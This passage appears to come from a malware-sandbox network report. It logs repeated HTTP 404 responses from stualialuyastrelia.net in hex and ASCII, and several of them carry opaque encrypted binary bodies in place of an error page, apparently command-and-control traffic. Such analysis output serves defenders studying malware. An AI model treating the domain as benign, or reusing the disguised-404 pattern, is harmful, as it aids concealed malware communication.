d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 14 fc f9 17 be e0 f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f7 31 33 d1 ac 7a 45 7c 1f 57 44 2d fd d0 3c 50 15 51 fe 08 c2 bb 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed a5 dc b1 17 26 58 4a 2b a6 2b 3e 17 21 4b da a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 42 6d 59 db 94 0d 13 13 bf fe e3 92 a2 c9 46 c5 03 a1 cb a1 61 7e de f5 69 01 50 17 e6 47 af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae bc b7 22 6c 55 76 8d d3 57 fb 28 b9 72 ce cc 23 b2 3f 0f 31 79 96 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f b5 08 c5 46 d9 a8 17 ac af 29 d0 55 3d e1 bb 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 08 a4 62 60 57 bb e7 bb 88 e7 3d 66 f1 4a 68 b1 1d 32 12 51 8c 60 1c 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 8b e7 d3 7a 1b a2 cb 29 32 08 e7 5b 1e b4 a7 1e 26 7f 11 ee c3 dc 5c a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae c3 75 91 77 81 cb 14 74 fe 10 59 b9 b0 99 07 94 8a cd e4 7f 74 79 44 66 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 4b a9 b4 5b 2f 18 78 47 a6 ae 46 1f d0 05 94 7a 8f 16 06 e3 cd 74 e7 37 00 94 e8 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 5f dc e5 1e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 05 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 9a 29 47 e2 83 b6 51 8b 2f e6 aa 47 f3 75 76 84 19 c3 dd a5 15 4b 9b 8d fe 9c 51 06 8a 85 70 44 46 84 cf 32 67 ad 14 33 1f 04 ff 4a 1b 87 12 89 13 c2 7e 08 50 d4 7e 5f 34 a8 b4 aa de 0c 98 34 7a b3 10 d0 a1 44 0e 22 0f 7e 12 2d 87 e7 5a a7 2a 5b f8 c6 5c 90 1b 3d dc 99 22 48 76 93 48 2d 4c d0 d0 4c 41 8d 88 77 e4 e0 cc 62 d3 b5 10 24 d8 bf 27 e9 47 bb 11 5c 8e 62 c4 0d 2f f7 b4 88 66 a2 8c ac a2 bf 50 64 ed 77 82 fa 21 ba 0c b2 03 a1 cb a1 61 7e de f5 39 fc 19 17 32 5e a9 9a 1b 0f a3 c5 c1 b9 dd 7a 0d 90 4e 19 00 2c 97 88 13 1b fc 84 be e5 51 61 9a 84 1e 7c 88 28 c8 48 9b b3 c0 4a 9a 13 fd ec 9e 7a 7b ac 87 2f bd 71 0d d0 5d bf 46 24 fd f8 17 6c 33 6c 29 7c 0a 8d c2 fd e4 0e a4 eb 7e 71 eb a0 d4 1a 68 8b 4a d8 19 ae cc 4f 39 79 83 2e 9c 97 12 4c 75 46 ad f3 57 3b 3a b9 72 fe cc 23 b2 75 0e 31 69 92 90 f7 3f 20 ec e7 16 2b 4c 80 80 c1 f9 13 c3 11 bb d6 af 81 1c 27 ac 6a b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 ce df 9d 5b 34 55 40 37 b4 7b 39 7a e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 5e b7 1b 33 c3 cb 29 32 28 e7 5b ce 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 b2 5d 63 89 58 5e ae 03 8b 5d 1f e4 a6 6d 10 9f 10 79 d9 b0 99 17 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b c1 62 7a b7 b2 fa a7 81 5f c8 b4 bb ab 7c 17 28 d2 7e 46 1f d0 b1 aa 7a 8f 26 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 af 86 63 5e dc e5 7e b5 d3 71 d4 03 0b ac 98 76 1e 0e ca 82 2f 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 df 07 57 62 18 3a 1d f8 69 e9 b0 88 c1 a4 a3 33 25 2d c4 a9 c3 b8 ca 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 d9 3d fa ca fe 96 18 97 52 c1 c2 ea 9e 13 58 98 4c 45 f1 f0 73 8d e3 f9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 02 03 81 d6 51 aa 4b 4b f2 bc 3c 42 90 3e de 9e 73 cf 96 65 a2 45 1f 78 60 88 10 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 90 e9 f3 70 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 66 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1c 81 1e cb 46 d7 f8 14 a2 25 bf 29 46 16 36 e4 69 1e 2b 85 56 2d 0e 61 9f bd 8c ac 0d 0a 30 0d 0a 0d 0a Data Ascii: 2fUys/~(`:F%)F6i+V-a0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 3b d4 0f 1a 40 10 16 30 8f b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 53 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 b3 98 30 06 81 8f f1 83 0e 25 a6 79 5e 5c 51 fb 32 35 47 48 3b fe cc bd 6c 62 ad 5d 6f 38 6d 57 12 73 36 18 28 a6 70 a3 d1 43 36 2f a4 14 0f 85 c2 e7 27 c2 25 7b ba 49 79 b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 1a 13 2f 5e 8a f7 24 08 4f c5 03 a1 cb a1 81 7e 50 74 62 b8 1b 0e 7e 8f a9 9a a5 d6 c4 a0 c1 b9 dd 7a 85 77 48 19 e0 3c 95 a9 18 ea f3 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6f a1 c0 4a 9a 03 fd ec 9a aa 7b ac 87 2f bd 61 0d d0 48 bf 46 30 fd f8 12 6c 33 6c 2a 7c 0a 8d c7 fd f4 0e a4 ab 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 4b 2d b9 76 c9 cc 23 b2 35 06 31 79 5c 9c f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af f1 3b 27 f8 1f b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 d4 7c 39 7e e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 59 47 15 51 94 76 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 76 b9 17 ee c3 de 57 a3 4c db 83 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e d0 ad d5 e1 73 99 8a dd ec 7f 74 79 b0 6b 43 cc b3 8b 8b e1 a8 7c d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 f2 ae 46 7f fe c5 cb 0e ee f6 6b e3 b5 f0 d9 37 00 70 e5 1c c9 02 f5 52 48 10 3c 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 0c 7c b9 82 cf 25 2e c3 db ce ec 35 b8 c4 a7 0d a8 ca d4 5f df 45 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 f3 0b 14 be c8 b7 89 c8 2f cf c5 09 e8 8b 53 19 ac 18 90 77 b3 0e 65 87 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 8c 6b 95 9c 00 8d 43 d9 ed 47 b2 52 dc 1a 3e 8c 18 57 21 01 7d 42 1d 86 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 a5 8c 57 7b 19 14 59 30 5f ce a6 b8 78 fe 01 89 98 6d 1a 5e 32 d0 f7 f4 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7d f5 62 31 36 78 7f 5c 5a 3a c5 19 5f 11 4f 6e f9 e4 41 2a 01 6e d1 fa 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 41 82 e3 d0 ec 73 1e 0c b0 85 bc 43 cf b8 6e 93 45 a1 0d 85 d4 52 9b 2e 60 88 3d 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ed fb 91 25 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 48 48 1c 79 9b 37 67 d2 79 b9 af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ed 90 bb da 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
